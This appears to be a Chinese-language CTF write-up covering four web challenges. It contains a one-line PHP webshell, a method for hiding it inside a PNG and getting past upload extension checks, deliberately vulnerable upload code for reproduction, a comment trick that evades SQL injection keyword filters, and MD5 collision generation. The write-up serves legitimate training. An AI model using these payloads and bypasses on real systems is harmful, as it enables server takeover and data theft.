不一樣的上傳系統
與預選賽題目一樣,將大馬php_mof SHELL.pHp.jpg
壓縮成zip上傳,即可通過大馬獲取flag。
簡單文件上傳
要求上傳一個圖片,并且大小存在限制。嘗試后發現后臺是通過文件頭來判斷文件類型的,因此可以上傳一個圖片馬:
0x01
構造一個一句話webshell.php
,內容如下:
<?php @system($_GET["cmd"]);?>
0x02
準備一張正常圖片realpng.png
,使用命令cat realpng.png webshell.php > payload.php.php
之所以要寫兩遍后綴是為了繞過后臺替換第一個php為圖片格式的后綴。
0x03
上傳payload.php.php
返回上傳路徑:
uploadsuccess.png
0x04
通過一句話列出目錄下的文件,發現存在一個奇怪的文件:
step2.png
讀取該文件內容得到flag:
step3.png
這里提供上傳邏輯代碼,供復現使用:
<html>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="hidden" name="Upload" id="Upload" value = "Upload">
<br/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
<?php
if(isset($_POST[ 'Upload' ])){
$html = "";
$token = sha1($_SERVER['REMOTE_ADDR']);
$target_path = "uploads/".$token."/";
if (!file_exists($target_path)){
mkdir ($target_path,0755,true);
}
$uploaded_name = $_FILES[ 'file' ][ 'name' ];
$uploaded_tpye = $_FILES[ 'file' ][ 'type' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'file' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'file' ][ 'tmp_name' ];
$type = ".".substr(mime_content_type($uploaded_tmp),-3);
$_FILES[ 'file' ][ 'name' ] = preg_replace("/\..../",$type,$uploaded_name,1);
$target_path .= basename($_FILES[ 'file' ][ 'name' ]);
if($uploaded_size>100000)
{
echo '<pre>Your file is too big.</pre>';
exit;
}
if(getimagesize($uploaded_tmp))
{
if(!move_uploaded_file($uploaded_tmp,$target_path))
{
$html .= '<pre>Your image was not uploaded.</pre>';
}
else {
$html .= "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
$html .= '<pre>It is not a image</pre>';
}
echo $html;
}
?>
新的新聞搜索
word字段存在注入點,但是使用union注入時會將union,select等的關鍵字的最后一個字母html編碼,想到使用/*!union*/
,/*!select*/
繞過:
step1.png
查庫,得到news:
step2.png
查表,得到admin表:
step3.png
查列,得到flag列
step4.png
查記錄,得到flag:
step5.png
MD5碰撞
要求$_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])
,強網杯原題,參考writeup。
指定param1和param2相同的開頭,這里以"1"為例:
echo '1'>init.txt
接著使用fastcoll生成具有相同md5的文件:
λ fastcoll_v1.0.0.5.exe -p init.txt -o 1.txt 2.txt
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)
Using output filenames: '1.txt' and '2.txt'
Using prefixfile: 'init.txt'
Using initial value: b012cf77f9677e37eea923017fc5e83e
Generating first block: ..
Generating second block: S00....
Running time: 0.641 s
將1.txt和2.txt內容進行編碼后發送即可的得到flag。
提供代碼方便復現:
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("flag!");
}